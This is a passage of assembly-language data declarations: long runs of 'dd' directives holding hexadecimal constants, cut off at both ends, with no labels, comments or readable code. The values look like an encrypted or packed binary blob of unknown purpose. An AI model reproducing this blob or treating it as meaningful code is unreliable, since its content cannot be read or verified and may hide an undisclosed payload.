1B26502Ah, 0BF1E3B42h dd 91CACBAAh, 0E7BFD704h, 11BE5931h, 0B19FC3CAh, 101DFF42h dd 4BDF72F1h, 1023D706h, 0FFFCB5B0h, 0B523514Ah, 91CE5108h dd 2725D604h, 0F597517Ah, 0FB4963ACh, 0CD95FE08h, 42CAD604h dd 0E3B962D2h, 118F08B5h, 9B1B0BC8h, 41673AD2h, 91C68AA7h dd 0C93D604h, 91CA8F28h, 4A8E31ADh, 0A2358F26h, 88A2BFDh dd 0C93F548h, 91CA8C4Fh, 91BD5107h, 0B1AAD604h, 91C44523h dd 314DD604h, 8C86CB24h, 0D94D8929h, 8C86CB23h, 0F9FDB666h dd 28122D8Ch, 91CA8F22h, 3C04A38Bh, 0B045C9C3h, 3035E09Ah dd 91C6909Ch, 314DD604h, 91CA8FD7h, 0B3679A9Fh, 24679A8Ah dd 0F2D353D9h, 0CD92D100h, 0E7CAD604h, 0B1D3F980h, 53D006D0h dd 64B10F51h, 0F2D61A69h, 0CD92D100h, 6BCAD604h, 8CEC451Bh dd 2F59694Ch, 0A2C5F02Dh, 0E9A217DCh, 1590D100h, 91CAD680h dd 8D10A624h, 0B8CAD604h, 91CAD6A9h, 0DB40B304h, 0CB3FF8FFh dd 91CC88CEh, 0F600D604h, 690EABCAh, 72EC2C4Ah, 628FB3B6h dd 447DDC58h, 0ECB728B5h, 1079514Fh, 91CACDF3h, 8C9E4D04h dd 0B3673A9Fh, 91CBA0AAh, 57B9A104h, 254A28E0h, 0E2D11328h dd 0B936CB05h, 4ABFF63Dh, 91CAD2EEh, 7CDFB04h, 8A8EA755h dd 32CAD604h, 91CAD608h, 9613C644h, 90C4AE3h, 21035FEDh dd 0CD84B9B3h, 29AB68E5h, 16409856h, 91C9C72Ah, 138AD604h dd 8CECCF7h, 611ABCBBh, 0E3A1399Bh, 0ECB6D744h, 8B844B53h dd 9F118824h, 0CC7DD604h, 0A41AD9CAh, 1D89ABA2h, 60E5269Ah dd 0DB40B93Ch, 0CB4DDCFFh, 91CA8FCEh, 1290B7A0h, 91CA8C66h dd 91C24D07h, 0B1AAD604h, 0BD67A564h, 0CD4E248Ah, 91CA8FCEh dd 91C684A9h, 0DB4BD604h, 1193F2FFh, 91CAD606h, 91CBA9B1h dd 0F2767F04h, 5A17EB3Eh, 39EF4752h, 5D36DC79h, 0AED5B6A2h dd 10E987A2h, 8B84B93Ah, 2D35E108h, 91C4559Ch, 0CE4DD604h dd 91CA8FCEh, 0B366D29Fh, 91C14708h, 4793D604h, 91CA8F27h dd 0AC4754ADh, 91C8B5E6h, 0B1CAD604h, 0B0E45B9Dh, 0FEFF52E0h dd 91CBD113h, 0C7AAD604h, 91CAC4E5h, 9710A904h, 0BACAD604h dd 94A5539Ch, 0B8CBD104h, 91CB11A8h, 91938B04h, 9707D604h dd 25413AACh, 7216AF2Fh, 5E588D6Dh, 0F8622BCCh, 0B1C876BCh dd 4CEC24A2h, 8ABB6C8h, 0C4E58406h, 0B05FE046h, 298FD742h dd 91CA8F33h, 0D42DBBE1h, 5C526338h, 0D37E970Bh, 71150499h dd 0E0CF53CDh, 8992D100h, 0C6CAD604h, 0CAE0C5DBh, 0E6F27A83h dd 0E0CF539Dh, 0C7A7D100h, 91C2414Eh, 9F078B04h, 1344D604h dd 0F5A0B751h, 0B04D9F0Ah, 0C47559Ah, 9AC8B5F0h, 32CAD604h dd 91CAD60Ah, 4C2DA94Eh, 0AFF0382Fh, 0A834B71Bh, 0B1CBE72Fh dd 91CB4C08h, 4C3ED604h, 0F0F4259Bh, 0C740981Ch, 0C04A7D2Ah dd 9295DA65h, 0F1CAD604h, 0C1B43BF2h, 5D75C165h, 658EB609h dd 8E6B0C39h, 91CBA6B1h, 0C532BE04h, 0EAAD55B7h, 804D202Bh dd 3C49F006h, 5D8E7B80h, 8E659DCAh, 90DA8824h, 0C8DED604h dd 8C61907h, 800EA368h, 96FBE333h, 0C8916E4Bh, 55D6B6B3h dd 91CFDF98h, 0E8218629h, 7C2956ACh, 0B8CB9D67h, 91CBA7A8h dd 9F0E8B04h, 10EAD604h, 24C15B41h, 2BCF58E7h, 0E34B5EFDh dd 91CA8FD6h, 1066D291h, 83E472F1h, 19D53F07h, 0C64E88AFh dd 12F8EC45h, 5C87EFC9h, 8097F1EFh, 91C55007h, 0C695D604h dd 9DCAD604h, 64E0CD20h, 2E7AA060h, 0E33F5EC5h, 1641677Ch dd 469385D9h, 91CA8F27h, 0C68AC7A1h, 91CBD176h, 0AD76B604h dd 0C4237EA2h, 8BEC4B3Bh, 61679A91h, 91CAD602h, 99848929h dd 9F07B14Eh, 0A9BCD604h, 8E2B8E39h, 8F8BE608h, 1590B9E9h dd 91CA8F22h, 10584107h dd 0F50CB5ADh, 0CF7BB957h, 90E92809h, 0BFAAD604h, 9F118B78h dd 2CFAD604h, 18B75649h, 0E8CF313Bh, 0BF24225Ah, 0F5C6D623h dd 10673AD0h, 91CACDE1h, 8093B604h, 6CAD604h, 8DD3039Ah dd 0D85ECB3Bh, 17AA8158h, 8B8051EEh, 8B845308h, 1DCAD604h dd 0D9B2D6E2h, 0C7AA93F3h, 91CAC763h, 888EA904h, 0AFCAD604h dd 0B06B6698h, 0BD46A627h, 0B74385D8h, 75E03575h, 90DDB149h dd 3D12D604h, 7EFBFB93h, 244C3FE2h, 8DD638CFh, 0B0532012h dd 0DB4DE950h, 0B26548FFh, 1E4AB73Fh, 0B95D02C3h, 0A6209E8Ah dd 91CBA184h, 91C08B04h, 7633D604h, 0CA7203Fh, 80A655Ah dd 0E144D20Bh, 91C682A4h, 8A35D604h, 0F5978108h, 9046A741h dd 22CAD604h, 0A35347DBh, 1590D100h, 91CAD68Ch, 91CB9FB1h dd 2BD4F004h, 13B13292h, 0D55FA6A2h, 247E8751h, 91CA8F32h dd 0F5C72504h, 32C68AA8h, 91CAD60Dh, 0F7B6459Eh, 7A153A9Dh dd 0DFFC78B5h, 977B4709h, 20AAD604h, 91CA8C66h, 19AD742Dh dd 0CB3F3EF1h, 0AEAF10EFh, 0B0026164h, 184754B5h, 9AC8B343h dd 32CAD604h, 91CA8C66h, 7B0E8464h, 0FFF69998h, 0BE7F15ECh dd 90F26198h, 15294DF2h, 0AF715949h, 91B13C44h, 20AADDA1h dd 91CAD60Ah, 0D0C52286h, 18937B2Eh, 449B8138h, 13E8A526h dd 0C000A979h, 1390B93Bh, 91CAD60Ah, 90DE5007h, 93D604h dd 91CA8F1Eh, 9139A474h, 10029F28h, 0F0C5F39Bh, 10599E33h dd 0CE039BBBh, 1E2653ECh, 17FA8622h, 0EC31EFAEh, 1EF9E734h dd 0DE79D2F9h, 8E0EA7EAh, 8DD68F5Fh, 6D225974h, 28005F8Fh dd 0A3EFE762h, 0A8F165E2h, 0BCE7ADAEh, 26BC2D4Eh, 5EF7F30Bh dd 23FBD4F8h, 56D54B73h, 0E752636Eh, 0F58685D4h, 20F81147h dd 962D9DFAh, 27F02ECFh, 9D4EB1E3h, 0A2159842h, 424F89C0h dd 0A3ECA5CCh, 424D2ECFh, 692EE71Ah, 0D94CC7FCh, 0ADADEA2Bh dd 507EFDD5h, 1FE9DDFFh, 29814CFBh, 51AC4277h, 1FF225FFh dd 23843EE3h, 0AC59EA21h, 0D097FDD5h, 0E8E1E6F2h, 0A1239FCAh dd 222F2ECFh, 0A3EFE774h, 0A2359FCCh, 24982ECFh, 3F6647C9h dd 25B92A9Dh, 0C4EFE767h, 0A3EFE774h, 0BCEDCA45h, 97D0A5D1h dd 0BB9C2B42h, 65E77039h, 6C8FAB1Ch, 25BD8E75h, 9124B1C9h dd 3AF02ECFh, 56C42F46h, 6BA1FE35h, 7FE7BBECh, 0D5AB705Eh dd 24784AEDh, 9FF250AAh, 5704F32Ch, 9E7B6F2Fh, 24785786h dd 24791DA2h, 0E5634AAh, 13938347h, 41B442C4h, 0AD7361B7h dd 9852304Bh, 1CB01F64h, 248571B1h, 0D6E857AAh, 0B5F6B3E2h dd 24784BF0h, 0A14E71ADh, 53D905D5h, 9B6E7FEh, 87857AAh dd 0E3245EE1h, 0A5687E64h, 3C52F004h, 0A570FFB5h, 0FF36D86Dh dd 0C217A83Eh, 0EC0543ADh, 0C4843268h, 24D1083Eh, 0DD9E57AAh dd 0E0ACCBF5h, 0AC414AA9h, 26111063h, 0B65426CAh, 2479EE9Bh dd 0C6DCAAAh, 5F2E11Dh, 29D94DBCh, 292F7EC8h, 0DF74DC62h dd 292F7E3Ch, 0BD74F7CAh, 24790C07h, 251C3C62h, 0FA637B6Ah dd 845621CAh, 91A91704h, 98D8A473h, 80F930B3h, 0E34DB9Ah dd 3DD95BF8h, 21A0B8FCh, 1DB22E8Eh, 0D57857A9h, 5B668D20h dd 3662A292h, 25790C6Eh, 640826AAh, 13790F2Ah, 247859B7h dd 62FA1FAAh, 0EE4CD5F7h, 25ABC48Eh, 997B57AAh, 2478577Fh dd 2479219Dh, 48A13AAAh, 0DEC873C5h, 2B27BA4Bh, 0C8C8212Eh dd 0A67C30B6h, 24790FC3h, 248571ADh, 5BED57AAh, 0C53B5281h dd 0D97DD854h, 1BC37805h, 3ABE847Dh, 33415274h, 24792902h dd 4F0526AAh, 657857A9h, 0FCEE1E81h, 67162722h, 7505CC67h dd 0FCFAC396h, 9AEE46FFh, 7C9A232Dh, 0FCED5AC1h, 0E24D65FFh dd 1C07DA4Fh, 0FCED5BF1h, 8D20E8FFh, 42EE80F7h, 0FCEE1E75h dd 40C721BAh, 0C4250EB9h, 48A2B9A5h, 71F923D2h, 9934582Ah dd 0D13ADBFAh, 0E1347107h, 0D13ADBFBh, 0FCF57EE4h, 42F046FFh dd 0FCED46D6h, 0FCEE3EF2h, 766CB2FFh, 6488155Eh, 8F856A26h dd 74576CEAh, 46D57E19h, 11EB7E20h, 2F901D4Dh, 0AF9151A1h dd 0B1B57D75h, 15195D39h, 0C47A602Eh, 65F923F2h, 0FCEE1E81h dd 0AAFF8A5Eh, 854DF754h, 1B814298h, 0B1EB1999h, 0BC74962Ch dd 0F74328ADh, 787A5BBFh, 65F9225Eh, 0FCEE1E88h, 0E911CD0Fh dd 0B8E40E5Bh, 0A5C864B7h, 0D0809DAEh, 17B6354Fh, 8F79E1B6h dd 8A267E84h, 47ED46FEh, 7ED436BFh, 83518DCBh, 8DA11595h dd 745321DAh, 0C7B20D84h, 208541DEh, 0D592D14Dh, 0BC17C119h dd 4555444Bh, 56DB2FC4h, 0E9256077h, 0FD00B7FBh, 4BF046FFh dd 0FCEE1E18h, 0FCFF6002h, 460746FFh, 3693DB66h, 655EDC7Dh dd 738FE90Fh, 0A79F9A50h, 0FCB2C1FEh, 17F046FFh, 0FCEE1E8Ch dd 0FCEEDBE4h, 17F046FFh, 0FCEE1E19h, 0C2272802h, 2EED46FEh dd 677A0B6Ah, 0FE525FFBh, 41F046FFh, 0FCEE0EADh, 8FCDAE4h dd 0E9464AABh, 88FB1FD5h, 8E63F05h, 13BCBDABh, 0EC3A34BEh dd 713A9711h, 8E68339h, 9A3DC146h, 0E8B1EADCh, 0AC0B9CB3h dd 0F80911ECh, 0EE6115E2h, 0E8D34E81h, 88C71FD9h, 8E63F09h dd 13A8C7ABh, 8FE64AABh, 89F3DEA8h, 0AA8DE90h, 4E64AABh dd 293FCB31h, 0BF85F72Eh, 38F8E903h, 8A8CAA53h, 1CE45F7h dd 0C4E64AABh, 0A561A90Fh, 0FB1948Ch, 848C7A6h, 80464AABh dd 0F579DEC9h, 3B47706Eh, 0B71A9A34h, 79E68347h, 0BDD34BD9h dd 0C11CBB49h, 0B22EB849h, 1F38048h, 8EFE71CDh, 86BAC961h dd 0FA8F1BFh, 3DE64AABh, 549CB651h, 4BEDE1DAh, 2BE8EF4Fh dd 541B9A3Eh, 71157558h, 8E6840Ah, 485408ECh, 5F4A5D79h dd 8E7BB6Dh, 14614AABh, 145BBDA7h, 0BD5E034Bh, 0DD636BE8h dd 0FB20611h, 70C773BFh, 8E692CFh, 0F2ECB7EFh, 437A075Bh dd 0FF236873h, 0DCCF4BACh, 0FB141F1h, 344A73C3h, 145BC7DAh dd 0E8E64AABh, 3902C7DEh, 87476B7Fh, 81D8E824h, 8E63F00h dd 47A5AAABh, 422E6363h, 89E68334h, 8B47E7F0h, 0D2D1AABBh dd 0AD61A8EFh, 0FB2DBBCh, 8E3804Bh, 0E52A4AABh, 6543F327h dd 429E3A41h, 0F7F75218h, 8E64A13h, 595AECABh, 8E27FE2h dd 2B8B4AABh, 0D3AA92E2h, 120FD6F4h, 33159B32h, 593A2CCBh dd 0D99F3FE1h, 0E070DAD8h, 4957B0F1h, 0F2C99E1h, 17E64AABh dd 8E68426h, 956192ABh, 0FB141F1h, 8E64AB0h, 0B9BABDABh dd 588EB7A2h, 8A941C9h, 67164AABh, 0F63F0086h, 35A1F7E9h dd 0D386DC80h, 1A64AE26h, 0DBD552EFh, 0B757B229h, 287EDB81h dd 6C7308E3h, 1F51BDE9h, 92694932h, 98A055E4h, 0C556AA58h dd 0E65D34E9h, 0E61C0E8h, 0C0547FFCh, 1D99F329h, 3FA1ECEAh dd 6154F6E4h, 0FA9472ACh, 0B3466BBEh, 38809505h, 3FA0A1E9h dd 69938BE4h, 0A6C445DBh, 6E9B451Bh, 0C9360789h, 0B7880A4Bh dd 4236C77Ch, 0B95FACD3h, 3FA055C9h, 3F4E2CDFh, 476955E4h dd 1DA055E4h, 0B1E92BC3h, 0DF87256Bh, 6FD044EDh, 0B6D03F39h dd 4689A5A6h, 4EA055E4h, 3FA052C3h, 3401B5E4h, 4829D520h dd 0F1A22681h, 2855A066h, 78558C44h, 0DAABECh, 0B6958202h dd 8FA1ABA4h, 3F098B1Ch, 0B28F55E4h, 0FE2BE96Eh, 0C1E85FBEh dd 0C09EF329h, 4B150E9Eh, 0CAA055E4h, 32D74A3Eh, 8D6971CDh dd 22A055E4h, 0E5918554h, 0EE2AB915h, 56E2D83Bh, 0C5F77A8h dd 3FA08F44h, 85ACD384h, 250C5F96h, 0BA019CC4h, 62548EB6h dd 0CB5F5377h, 3FA05382h, 3F5AC8DFh, 71B955E4h, 51F27A88h dd 6CD4A577h, 1FA055E2h, 3FA0ADEAh, 2E4D74E4h, 33F1C460h dd 0DCE50120h, 0A6D831E1h dd 3FA09E08h, 0B55697EDh, 95F8AEE4h, 549DAFB3h, 0F14658CDh dd 18AF5E74h, 465D2034h, 0CB5FACD3h, 3FA055AEh, 0B41D5AF8h dd 4E57B16Dh, 3FA1CC00h, 5689A4E4h, 1FA055E4h, 3FA0ADEAh dd 64486DE4h, 9D973C20h, 0F1635CAEh, 24EA61B3h, 14019BC4h dd 602BFC56h, 4E69967Ch, 0D1A055E4h, 0E8B12DE0h, 28B13C0Dh dd 0FEDB6CFAh, 0BDF72836h, 0C0A2968Ch, 0C21E6737h, 8AD4E9C9h dd 5D856E7Eh, 9280DB17h, 92E6A521h, 4EA055E4h, 3FA046C3h dd 3ED5A4E4h, 0C0A055E4h, 629D64FEh, 0A1206E77h, 3F098B13h dd 971E55E4h, 696A93C7h, 1FC92E34h, 3EFF75EAh, 4169B5E4h dd 0C2A055E4h, 40B2F3F2h, 0C944E245h, 1FC55899h, 3F098B21h dd 82F455E4h, 8483750Ah, 25E12EA4h, 0CE148502h, 90ED1F1Bh dd 1F57AE9Ch, 9818D317h, 3F574CF8h, 0FC5355E4h, 6EB64BD8h dd 89CFB30Ah, 8CD4A582h, 0A7A055E4h, 3FA055CAh, 16AD3551h dd 16902567h, 80AFD5AFh, 0C386C91Bh, 3F57B16Dh, 3FADC9DFh dd 936955E4h, 30A055E4h, 18F53BC4h, 8597E1A3h, 0A061EEC6h dd 47F2C845h, 0CB5FACD3h, 3FA055D3h, 86A7DB84h, 93697B58h dd 0BAA055E4h, 0A8556CC5h, 348A78C3h, 4C1F4B12h, 1FD55121h dd 4E57B245h, 3FA0BCEDh, 726976E4h, 8DCF7EF8h, 3FA0AB4Ch dd 3F088AE4h, 46D455E4h, 1C4F3833h, 0CC023DFCh, 466CE8CEh dd 3EE4C6DFh, 0CB5F55E4h, 3FA055C7h, 3FA0A0E9h, 0E63EAFE4h dd 80F98B9Bh, 0C4F2094Dh, 34B1873h, 466CF37Eh, 6FD4A4E4h dd 1FA08E7Bh, 0C14663F9h, 0C3017D8Fh, 5852D0FCh, 4EA0ACD8h dd 3FA0B400h, 5BD2A4E4h, 0A0A055E4h, 3FA08E72h, 4974D7D7h dd 22D4193Ah, 118DA404h, 40D206DDh, 2F0FD295h, 0C000ACE4h dd 792E4794h, 8E019B29h, 3FA054FAh, 226991E4h, 8DCF808Bh dd 3FA096C3h, 3F718AE4h, 26A255E4h, 0CEF6F1B1h, 0FB34CD8Bh dd 8407ADF6h, 2EA486C9h, 3FA0AE64h, 3920A4E4h, 1FA055E4h dd 5BD55122h, 4E57B0DBh, 0BDBFF600h, 3D39190h, 45C11260h dd 66D5A581h, 0A0A08E81h, 3FA08F43h, 0A8CFC4ECh, 25E16A8Ch dd 79D55167h, 4E58F376h, 3FA0ADEDh, 0CC1D76E4h, 3F99AC99h dd 0BD704CF9h, 6FB88090h, 3D39692h, 466BB246h, 50D4A4E4h dd 1FA08E74h, 3FA0ACA9h, 0C1176EE4h, 5448367Fh, 3E88A569h dd 17A055E4h, 723AEAB1h, 5F4DEF00h, 4D5A57Ch, 1FA08E81h dd 3FA097A9h, 41172EE4h, 9841738Ah, 18997BB2h, 6922C9C4h dd 4869ACD6h, 13A055E4h, 3C4B62F0h, 32FC4F4Eh, 0CF5A7CBEh dd 59E86919h, 4ACF7CBFh, 6B0C20E0h, 0A0548800h, 3FA08F43h dd 0C1205160h, 5728AEB6h, 0F5D55C8Dh, 4E58F378h, 3F5A07EDh dd 8D69B5E4h, 54A055E4h, 0EC9E52B8h, 0EF17CAA2h, 0F41478F8h dd 0B7012668h, 7C02C9C4h, 8DB9ACD6h, 3FA04788h, 0C146B5E4h dd 0A019CE8h, 3FA052B4h, 122F52E4h, 3FA09FEAh, 0F8561AE4h dd 2BA298BFh, 50885Fh, 0E9D55BC7h, 4E58F378h, 3FA1E7EDh dd 3F558AE4h, 0E26055E4h, 0C15BD2DEh, 62A15CFEh, 3F088B77h dd 5DED55E4h, 0FD043622h, 0CA9F16C5h, 1DD0F341h, 0F1D55AEEh dd 4E58F378h, 3FA044EDh, 0CC1B91E4h, 466BBBB2h, 0AD8D58F8h dd 4A915F5h, 0B84F3342h, 5C34B8EEh, 8C215F0Ch, 59BE891Fh dd 2EAD857Eh, 3FA1E764h, 0B95FB5E4h, 3FA08E6Dh, 0CC0BB4FCh dd 45C11B50h, 3FA2C6DFh, 0C1B855E4h, 5210B0FEh, 0B61A6E77h dd 3F4E2CE0h, 466855E4h, 13A055E4h, 0DDDCF9Eh, 118ABD6Ah dd 0BD796322h, 67CF8090h, 71B976A4h, 5F4C9300h, 69D5A57Ch dd 4EA08E7Bh, 3FA0A25Fh, 44D5A4E4h, 4EA055E4h, 3FA054C2h dd 0CC1B76E4h, 466BAC0Ah, 68B631Dh, 78A282B5h, 7A2146B5h dd 0BC845B88h, 2EA3362Ah, 3FA055C2h, 0CC0B9DE4h, 45C11238h dd 3F11C6DFh, 0C1B855E4h, 51C038FEh, 3F638B77h, 806755E4h dd 8524BBCEh, 0B6D21684h, 0B6D1D39Dh, 0F995006Bh, 0BD7E579Dh dd 67CF8090h, 0BC007DECh, 0BC1836BAh, 0CC0BB2CCh, 45C11004h dd 3EEEC6DFh, 0C55F55E4h, 3FA08E82h, 4BD52AFCh, 0A057B230h dd 3FA08F43h, 0E1A965DAh, 0A5A2F9C0h, 0BD7EA7DAh, 67CF8090h dd 71C57DECh, 5F4C8F00h, 82D5A57Ch, 4EA08E7Bh, 3FA054FEh dd 0CC1B91E4h, 466CE6C2h, 3F9DCFDFh, 0C75F55E4h, 3FA08E73h dd 3F5F6DDFh, 0F7B055E4h, 26F805F6h, 8E89482Eh, 17190749h dd 3F665621h, 28E55E4h, 0B76F3E15h, 72017AFAh, 5F4DE300h dd 4D5A57Ch, 1FA08E81h, 18E4E617h, 8251A34Fh, 0CC1BB324h dd 466BBA22h, 3FA1ECE9h, 8D1585E4h, 3E0EAA0Ch, 0C1004D34h dd 1FC82BA0h, 3F5AD10Ch, 9EA155E4h, 3F638B25h, 437C55E4h dd 0F999999h, 0C8E8C6DBh, 0B882D710h, 177B9670h, 91D55AF6h dd 4E58F376h, 3FA03EEDh, 48DFA4E4h, 0A0A055E4h, 3FA055DFh dd 4BB4FC57h, 0BB7849FAh, 29188349h, 8FD52171h, 1F57B0D8h dd 14CADCE0h, 6C81DC17h, 0F7B0B31Ch, 3FA08E81h, 2E99ED81h dd 3FA097C3h, 3FD5A4E4h, 0B0A055E4h, 4320C834h, 0C45FACE4h dd 3FA08F36h, 0F65F6E84h, 18AA65F6h, 201894E0h, 4662D0FCh dd 4EA0ACD3h, 3FA1E7EDh, 3FCEA4E4h, 0C3A055E4h, 4FB2C9C4h dd 0C5B9ACD3h, 6E0B0900h, 6E11902Bh, 3F4F2BE1h, 0C45F55E4h dd 3FA08E82h, 8F86D2F8h, 3F57B0C9h, 3F8FC9DFh, 0C65F55E4h dd 3FA055DBh, 3FA1ECE9h, 0C0E98DE4h, 1E84A2B1h, 0CC0CC506h dd 45C10F1Ch, 3EEFC6DFh, 0C45F55E4h, 3FA055E1h, 3F6617DFh dd 0C45F55E4h, 3FA08E6Dh, 6F5AC9C3h, 0B7C5ACD6h, 0BDD0D10Ch dd 7EA98090h, 3F668B25h, 0D9E155E4h, 0F6D4F593h, 5BC2D0FBh dd 4EA0ACD3h, 3F53FF00h, 3F088AE4h, 854255E4h, 3971CC53h dd 34B2C8Eh, 466B9EF2h, 2BD4A4E4h, 0A0A08E77h, 3FA055D4h dd 0A4CB50F6h, 4B1D99CCh, 0A8A1F294h, 327946D0h, 0CC0B9925h dd 45C10EB8h, 3FA5C6DFh, 1F0055E4h, 4568710Ch, 15A055E4h dd 0C25A5DB4h, 18990A88h, 3FA1ECEAh, 0D7D183E4h, 2C924C4h dd 0C201B96Eh, 625EF0FEh, 0F7B09677h, 0BDCF808Fh, 0C399EE2Ah dd 3F6DD3E0h, 0C05F55E4h, 3FA08F43h, 3FA0A4E9h, 4B419CE4h dd 191B05A3h, 7CC053FFh, 4362F31Dh, 0CC0B5944h, 45C10F08h dd 3FB6C6DFh, 0D5F55E4h, 3FA055E5h, 3F67C9DFh, 0BF5F55E4h dd 3FA08E6Dh, 551EC9C3h, 4469ACD3h, 83A055E4h, 0E401586Dh dd 0BD7863EDh, 67CF8090h, 71CC7E3Ch, 5F4D6B00h, 10D5A57Ch dd 0A0A08E81h, 3FA055CAh, 0EA95A31Fh, 7D7E0318h, 606EC9C6h dd 4E69ACD8h, 0F6A055E4h, 0A0D92D81h, 0AB12E069h, 0AFE1D7h dd 0FCB84FDh, 46FE8CBAh, 1262D42Eh, 0C0083508h, 0D4BA5D42h dd 4469937Ah, 31AD309h, 3FCF62C8h, 0A800769Fh, 3FA08E80h dd 5077F4Ch, 6E2121E5h, 256EDD98h, 11D55122h, 4E58F376h dd 3F5A14EDh, 0CC1B9AE4h, 466B36DEh, 8DBE2184h, 3FA09995h dd 3F5F8AE4h, 0C93655E4h, 419A5A3Dh, 0EB318984h, 11563DF2h dd 0F700B30Dh, 7C1349C9h, 3FA055ECh, 58E82DE4h, 2004C7E2h dd 3F5ADB12h, 8EA155E4h, 0CC0B7713h, 45C10EB0h, 3F8EC6DFh dd 456955E4h, 0DAA055E4h, 7F762E6Dh, 0CC1CDAFBh, 466CEDB6h dd 11C56384h, 0BD786E22h, 67CF8090h, 0CE5F7E3Ch, 3FA055D2h dd 3F554684h, 833255E4h, 180C3970h, 0EBAFDB17h, 46CEA521h dd 4EA055E4h, 3FA05201h, 7201B5E4h, 5F460F00h, 1BD5A57Ch dd 1FA08E81h, 3F5417E0h, 0F64655E4h, 0A801A292h, 3FA09E08h dd 45D0B6A8h, 4E0255B4h dd 0C65FFE16h, 0CC1B9C81h, 466CE83Ah, 3FA0AAE9h, 2AC74E4h dd 0C3656BBAh, 557F5869h, 0B2113631h, 0C60B3632h, 3F624730h dd 0EBEC55E4h, 6F5A1CD6h, 0E2F5CA62h, 4DC58CEAh, 2F6C549Bh dd 3C9CC836h, 0C45FACE4h, 3FA055B9h, 96FFDC84h, 7EA109B1h dd 0CC1B6F39h, 466B46B6h, 0BE7E65F9h, 0B8A6F328h, 6B00D4FBh dd 1CC74B12h, 641C4EFAh, 4EA08E81h, 3FA1E700h, 3F628AE4h dd 0BEDF55E4h, 75C1313Fh, 0CE92487Ch, 213463CCh, 0D4DB063Eh dd 5DCAD0FBh, 4EA0ACD8h, 3F098400h, 0CC0B76E4h, 45C11230h dd 3F95C6DFh, 0C5F55E4h, 3FA055D9h, 3FA0A2E9h, 1149BCE4h dd 0DB664211h, 78184543h, 494A5403h, 0EA95A31Fh, 2D02C9C3h dd 0CE5FACD8h, 3FA055E1h, 3F67D3DFh, 125F55E4h, 3FA08E81h dd 6B545507h, 0BFF45188h, 3FA04A39h, 0CC0B91E4h, 45C10F6Ch dd 3F05C6DFh, 0C1C555E4h, 626270FEh, 3F708B77h, 0A4F55E4h dd 0C63E9076h, 0A94B2AA9h, 0CE3031DAh, 0F1A3FF4Fh, 3FA08E81h dd 1FABFD81h, 451A4EEEh, 4EA055E4h, 3FA053FBh, 0CC0BB2E4h dd 45C1119Ch, 3F03C6DFh, 0CE5F55E4h, 3FA055E1h, 3F662BDFh dd 0C05F55E4h, 3FA08E6Dh, 648AC9C3h, 0FB9ACD8h, 3FA052BAh dd 181F52E4h, 7F8FA521h, 3F5524E1h, 0BF4655E4h, 1892D3B5h dd 42B0C834h, 0C45FACE4h, 3FA08F34h, 3FA096E9h, 938D1BE4h dd 0E5AB6D1Eh, 941AC9C3h, 0A800ACD3h, 3FA08E77h, 0C126A1A4h dd 1F84C37Ch, 3F5ADB12h, 8EA155E4h, 3F9D8B13h, 0B40955E4h dd 4F9C6E9h, 5E2E1B10h, 71D51D1Dh, 5F4C8B00h, 68D5A57Ch dd 0A0A08E7Bh, 3FA08E80h, 4F61A161h, 0CA60D717h, 3FA08E73h dd 0C18B2184h, 0CC1BB4ECh, 466CF406h, 3FA048E9h, 4FFB8FE4h dd 14BED2E9h, 0BDCF564Fh, 1CC90690h, 6DD55AFAh, 4E58F376h dd 3FA0B2EDh, 3F578AE4h, 94A755E4h, 0A5D22F2Bh, 0A786D3E6h dd 3F57B0CAh, 3EDBC6DFh, 250055E4h, 8C1C2702h, 84C18BAh dd 0CC1BB432h, 466CEA4Ah, 3F59C6DFh, 0A80055E4h, 3FA09E08h dd 40AF8444h, 0C4EF1236h, 48F1254h, 0F660BE9Ah, 0B8A7B4EAh dd 3F5AF279h, 0A0AF55E4h, 3FA08F46h, 0C901F986h, 91E6DFFh dd 553CF602h, 42BCC833h, 0C45FACE4h, 3FA05665h, 0A6DAF884h dd 476838C1h, 0ABA055E4h, 0F5740710h, 206EFCC2h, 3FA049B5h dd 0DE1E86E4h, 1DAA8EADh, 5DD5A522h, 4EA08E81h, 3FA0BD01h dd 3F648AE4h, 0F8F55E4h, 0A4BA008Fh, 237373A2h, 4EA92157h dd 0F1FBA680h, 0CC1B504Fh, 466B4506h, 3FA0A4E9h, 860B93E4h dd 6F80950Ah, 2F638340h, 61331D63h, 0F1A241E8h, 0EEA34A15h dd 88578C41h, 337BD4ECh, 60A06510h, 0A7007B8Ch, 3FA08E72h dd 2F0D2DDh, 67CB3FB4h, 0C586E9D0h, 622CED3Eh, 16ACD788h dd 3FA1C9E0h, 189855E4h, 42C0C834h, 0C45FACE4h, 3FA08F2Eh dd 0BC192184h, 0A786C922h, 3F57B0CAh, 3EECC6DFh, 0EF0055E4h dd 1F5BB6E1h, 3382C9C4h, 8E00ACD8h, 3FA05588h, 0F65FA7E4h dd 9017D8Ch, 0BDCF54B3h, 11290690h, 0B1D55AEEh, 4E58F385h dd 3FA1E8EDh, 0CC1B9AE4h, 466B96D2h, 3F5ACFDFh, 26C555E4h dd 3FA0A781h, 0BDF45249h, 0A0B0F26Dh, 3FA08E80h, 613E9547h dd 0CC0B7D39h, 45C11190h, 3F97C6DFh, 0B85F55E4h, 3FA08E73h dd 10016E84h, 0CC1BB31Ah, 466D1616h, 3FA12CDFh, 0A7B955E4h dd 3FA09E08h, 327A21AEh, 0C6B5405Ch, 8E67A9BEh, 0F1A239CDh dd 3FA08E81h, 0C3ABFD81h, 3C50C834h, 0C45FACE4h, 3FA08E6Ch dd 3F718B84h, 484355E4h, 32BEF9B8h, 0B2AF2D59h, 0EDB5B4B6h dd 0A0B0B49Ch, 3FA08F43h, 78691051h, 0E43C0A60h, 3D3B2B0h dd 466BABEAh, 0FED5A4E4h, 1FA08E80h, 3FA097A9h, 0B3BD0AE4h dd 0D7CCD5BDh, 1F9EB320h, 3FA1C9E0h, 200155E4h, 0CBD52AFAh dd 1F57B0D2h, 1FB97EB2h, 0B40D10Ch, 99615EC5h, 7774D377h dd 0B5F42B45h, 10730E94h, 673F5565h, 71B97D34h, 5F4D5300h dd 53D5A57Ch, 0A0A08E80h, 3FA09E08h, 9C19AF4Dh, 38E0306Dh dd 0D40A22E9h, 3D37F9Dh, 466BABEAh, 33D5A4E4h, 4EA08E81h dd 3FA08F49h, 0CC1B9DE4h, 466B3EAAh, 3FA0ADE9h, 64D832E4h dd 536B8A15h, 4C8805F2h, 0B6776579h, 1694DEF8h, 1FABB50Ch dd 1F8B2AEEh, 3C94C834h, 0A421ACE4h, 1F6250CBh, 1F626D82h dd 0E337507Dh, 0BDDF44ABh, 5B97E2BBh, 901972AEh, 1F1C90A7h dd 8E63177Dh, 6CDE66AFh, 0FF62177Dh, 1F638B78h, 